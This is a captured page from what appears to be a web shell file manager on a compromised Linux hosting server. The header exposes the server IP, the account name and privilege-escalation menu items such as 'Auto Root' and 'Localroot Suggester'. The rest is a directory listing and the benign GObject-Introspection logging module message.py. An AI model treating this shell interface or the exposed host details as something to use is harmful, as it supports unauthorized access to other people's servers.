Linux server19.dn-server.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
LiteSpeed
Server IP : 46.209.20.154 & Your IP : 216.73.217.55
Domains :
Cant Read [ /etc/named.conf ]
User : emadteam
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
lib64 /
gobject-introspection /
giscanner /
Delete
Unzip
Name
Size
Permission
Date
Action
collections
[ DIR ]
drwxr-xr-x
2022-08-06 15:50
doctemplates
[ DIR ]
drwxr-xr-x
2022-08-06 15:50
__init__.py
1.03
KB
-rw-r--r--
2018-10-29 17:16
__init__.pyc
432
B
-rw-r--r--
2018-10-29 17:16
__init__.pyo
432
B
-rw-r--r--
2018-10-29 17:16
_giscanner.so
94.26
KB
-rwxr-xr-x
2018-10-29 17:16
annotationmain.py
3.75
KB
-rw-r--r--
2018-10-29 17:16
annotationmain.pyc
2.86
KB
-rw-r--r--
2018-10-29 17:16
annotationmain.pyo
2.86
KB
-rw-r--r--
2018-10-29 17:16
annotationparser.py
99.14
KB
-rw-r--r--
2018-10-29 17:16
annotationparser.pyc
74.97
KB
-rw-r--r--
2018-10-29 17:16
annotationparser.pyo
74.97
KB
-rw-r--r--
2018-10-29 17:16
ast.py
41.73
KB
-rw-r--r--
2018-10-29 17:16
ast.pyc
47.07
KB
-rw-r--r--
2018-10-29 17:16
ast.pyo
46.26
KB
-rw-r--r--
2018-10-29 17:16
cachestore.py
5.91
KB
-rw-r--r--
2018-10-29 17:16
cachestore.pyc
5.27
KB
-rw-r--r--
2018-10-29 17:16
cachestore.pyo
5.27
KB
-rw-r--r--
2018-10-29 17:16
ccompiler.py
16.47
KB
-rw-r--r--
2018-10-29 17:16
ccompiler.pyc
9.01
KB
-rw-r--r--
2018-10-29 17:16
ccompiler.pyo
9.01
KB
-rw-r--r--
2018-10-29 17:16
codegen.py
6.1
KB
-rw-r--r--
2018-10-29 17:16
codegen.pyc
5.86
KB
-rw-r--r--
2018-10-29 17:16
codegen.pyo
5.81
KB
-rw-r--r--
2018-10-29 17:16
docmain.py
2.77
KB
-rw-r--r--
2018-10-29 17:16
docmain.pyc
2.1
KB
-rw-r--r--
2018-10-29 17:16
docmain.pyo
2.1
KB
-rw-r--r--
2018-10-29 17:16
docwriter.py
33.09
KB
-rw-r--r--
2018-10-29 17:16
docwriter.pyc
34.37
KB
-rw-r--r--
2018-10-29 17:16
docwriter.pyo
34.23
KB
-rw-r--r--
2018-10-29 17:16
dumper.py
10.69
KB
-rw-r--r--
2018-10-29 17:16
dumper.pyc
8.17
KB
-rw-r--r--
2018-10-29 17:16
dumper.pyo
8.17
KB
-rw-r--r--
2018-10-29 17:16
gdumpparser.py
20.97
KB
-rw-r--r--
2018-10-29 17:16
gdumpparser.pyc
18.24
KB
-rw-r--r--
2018-10-29 17:16
gdumpparser.pyo
18.1
KB
-rw-r--r--
2018-10-29 17:16
girparser.py
26.1
KB
-rw-r--r--
2018-10-29 17:16
girparser.pyc
22.3
KB
-rw-r--r--
2018-10-29 17:16
girparser.pyo
21.79
KB
-rw-r--r--
2018-10-29 17:16
girwriter.py
25.64
KB
-rw-r--r--
2018-10-29 17:16
girwriter.pyc
23.26
KB
-rw-r--r--
2018-10-29 17:16
girwriter.pyo
22.99
KB
-rw-r--r--
2018-10-29 17:16
introspectablepass.py
9.32
KB
-rw-r--r--
2018-10-29 17:16
introspectablepass.pyc
7.38
KB
-rw-r--r--
2018-10-29 17:16
introspectablepass.pyo
7.34
KB
-rw-r--r--
2018-10-29 17:16
libtoolimporter.py
2.64
KB
-rw-r--r--
2018-10-29 17:16
libtoolimporter.pyc
2.24
KB
-rw-r--r--
2018-10-29 17:16
libtoolimporter.pyo
2.24
KB
-rw-r--r--
2018-10-29 17:16
maintransformer.py
63.29
KB
-rw-r--r--
2018-10-29 17:16
maintransformer.pyc
42.48
KB
-rw-r--r--
2018-10-29 17:16
maintransformer.pyo
42.33
KB
-rw-r--r--
2018-10-29 17:16
message.py
7.75
KB
-rw-r--r--
2018-10-29 17:16
message.pyc
8.99
KB
-rw-r--r--
2018-10-29 17:16
message.pyo
8.99
KB
-rw-r--r--
2018-10-29 17:16
msvccompiler.py
3.74
KB
-rw-r--r--
2018-10-29 17:16
msvccompiler.pyc
2.71
KB
-rw-r--r--
2018-10-29 17:16
msvccompiler.pyo
2.71
KB
-rw-r--r--
2018-10-29 17:16
scannermain.py
24.19
KB
-rw-r--r--
2018-10-29 17:16
scannermain.pyc
19.37
KB
-rw-r--r--
2018-10-29 17:16
scannermain.pyo
19.37
KB
-rw-r--r--
2018-10-29 17:16
sectionparser.py
4.82
KB
-rw-r--r--
2018-10-29 17:16
sectionparser.pyc
4.81
KB
-rw-r--r--
2018-10-29 17:16
sectionparser.pyo
4.81
KB
-rw-r--r--
2018-10-29 17:16
shlibs.py
5.54
KB
-rw-r--r--
2018-10-29 17:16
shlibs.pyc
3.36
KB
-rw-r--r--
2018-10-29 17:16
shlibs.pyo
3.36
KB
-rw-r--r--
2018-10-29 17:16
sourcescanner.py
9.27
KB
-rw-r--r--
2018-10-29 17:16
sourcescanner.pyc
11.67
KB
-rw-r--r--
2018-10-29 17:16
sourcescanner.pyo
11.67
KB
-rw-r--r--
2018-10-29 17:16
testcodegen.py
5.8
KB
-rw-r--r--
2018-10-29 17:16
testcodegen.pyc
3.8
KB
-rw-r--r--
2018-10-29 17:16
testcodegen.pyo
3.76
KB
-rw-r--r--
2018-10-29 17:16
transformer.py
42.08
KB
-rw-r--r--
2018-10-29 17:16
transformer.pyc
30.15
KB
-rw-r--r--
2018-10-29 17:16
transformer.pyo
29.91
KB
-rw-r--r--
2018-10-29 17:16
utils.py
9.44
KB
-rw-r--r--
2018-10-29 17:16
utils.pyc
9.13
KB
-rw-r--r--
2018-10-29 17:16
utils.pyo
9.13
KB
-rw-r--r--
2018-10-29 17:16
xmlwriter.py
5.3
KB
-rw-r--r--
2018-10-29 17:16
xmlwriter.pyc
5.92
KB
-rw-r--r--
2018-10-29 17:16
xmlwriter.pyo
5.81
KB
-rw-r--r--
2018-10-29 17:16
Save
Rename
#!/usr/bin/env python # -*- Mode: Python -*- # GObject-Introspection - a framework for introspecting GObject libraries # Copyright (C) 2010 Red Hat, Inc. # Copyright (C) 2010 Johan Dahlin # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA # 02110-1301, USA. # from __future__ import absolute_import from __future__ import division from __future__ import print_function from __future__ import unicode_literals import os import sys import operator from . import utils (WARNING, ERROR, FATAL) = range(3) class Position(object): """ Represents a position in the source file which we want to inform about. """ __slots__ = ('filename', 'line', 'column') def __init__(self, filename=None, line=None, column=None): self.filename = filename self.line = line self.column = column def _compare(self, other, op): return op((self.filename, self.line, self.column), (other.filename, other.line, other.column)) def __lt__(self, other): return self._compare(other, operator.lt) def __gt__(self, other): return self._compare(other, operator.gt) def __ge__(self, other): return self._compare(other, operator.ge) def __le__(self, other): return self._compare(other, operator.le) def __eq__(self, other): return self._compare(other, operator.eq) def __ne__(self, other): return self._compare(other, operator.ne) def __hash__(self): return hash((self.filename, self.line, self.column)) def __repr__(self): return '<Position %s:%d:%d>' % (os.path.basename(self.filename), self.line or -1, self.column or -1) def format(self, cwd): filename = os.path.realpath(self.filename) cwd = os.path.realpath(cwd) common_prefix = os.path.commonprefix((filename, cwd)) if common_prefix: filename = os.path.relpath(filename, common_prefix) if self.column is not None: return '%s:%d:%d' % (filename, self.line, self.column) elif self.line is not None: return '%s:%d' % (filename, self.line, ) else: return '%s:' % (filename, ) class MessageLogger(object): _instance = None def __init__(self, namespace=None, output=None): if output is None: output = sys.stderr self._cwd = os.getcwd() self._output = output self._namespace = namespace self._enable_warnings = [] self._warning_count = 0 self._error_count = 0 @classmethod def get(cls, *args, **kwargs): if cls._instance is None: cls._instance = cls(*args, **kwargs) return cls._instance def enable_warnings(self, log_types): self._enable_warnings = log_types def get_warning_count(self): return self._warning_count def get_error_count(self): return self._error_count def log(self, log_type, text, positions=None, prefix=None, marker_pos=None, marker_line=None): """ Log a warning, using optional file positioning information. If the warning is related to a ast.Node type, see log_node(). """ utils.break_on_debug_flag('warning') self._warning_count += 1 if log_type not in self._enable_warnings: return if type(positions) == set: positions = list(positions) if isinstance(positions, Position): positions = [positions] if not positions: positions = [Position('<unknown>')] for position in positions[:-1]: self._output.write("%s:\n" % (position.format(cwd=self._cwd), )) last_position = positions[-1].format(cwd=self._cwd) if log_type == WARNING: error_type = "Warning" elif log_type == ERROR: error_type = "Error" self._error_count += 1 elif log_type == FATAL: error_type = "Fatal" if marker_pos is not None and marker_line is not None: text = '%s\n%s\n%s' % (text, marker_line, ' ' * marker_pos + '^') if prefix: if self._namespace: text = ('%s: %s: %s: %s: %s\n' % (last_position, error_type, self._namespace.name, prefix, text)) else: text = ('%s: %s: %s: %s\n' % (last_position, error_type, prefix, text)) else: if self._namespace: text = ('%s: %s: %s: %s\n' % (last_position, error_type, self._namespace.name, text)) else: text = ('%s: %s: %s\n' % (last_position, error_type, text)) self._output.write(text) if log_type == FATAL: utils.break_on_debug_flag('fatal') raise SystemExit(text) def log_node(self, log_type, node, text, context=None, positions=None): """ Log a warning, using information about file positions from the given node. The optional context argument, if given, should be another ast.Node type which will also be displayed. If no file position information is available from the node, the position data from the context will be used. """ if positions: pass elif getattr(node, 'file_positions', None): positions = node.file_positions elif context and context.file_positions: positions = context.file_positions else: positions = set() if context: text = "%s: %s" % (getattr(context, 'symbol', context.name), text) elif not positions and hasattr(node, 'name'): text = "(%s)%s: %s" % (node.__class__.__name__, node.name, text) self.log(log_type, text, positions) def log_symbol(self, log_type, symbol, text): """Log a warning in the context of the given symbol.""" self.log(log_type, text, symbol.position, prefix="symbol='%s'" % (symbol.ident, )) def log_node(log_type, node, text, context=None, positions=None): ml = MessageLogger.get() ml.log_node(log_type, node, text, context=context, positions=positions) def warn(text, positions=None, prefix=None, marker_pos=None, marker_line=None): ml = MessageLogger.get() ml.log(WARNING, text, positions, prefix, marker_pos, marker_line) def warn_node(node, text, context=None, positions=None): log_node(WARNING, node, text, context=context, positions=positions) def error_node(node, text, context=None, positions=None): log_node(ERROR, node, text, context=context, positions=positions) def warn_symbol(symbol, text): ml = MessageLogger.get() ml.log_symbol(WARNING, symbol, text) def error(text, positions=None, prefix=None, marker_pos=None, marker_line=None): ml = MessageLogger.get() ml.log(ERROR, text, positions, prefix, marker_pos, marker_line) def fatal(text, positions=None, prefix=None, marker_pos=None, marker_line=None): ml = MessageLogger.get() ml.log(FATAL, text, positions, prefix, marker_pos, marker_line)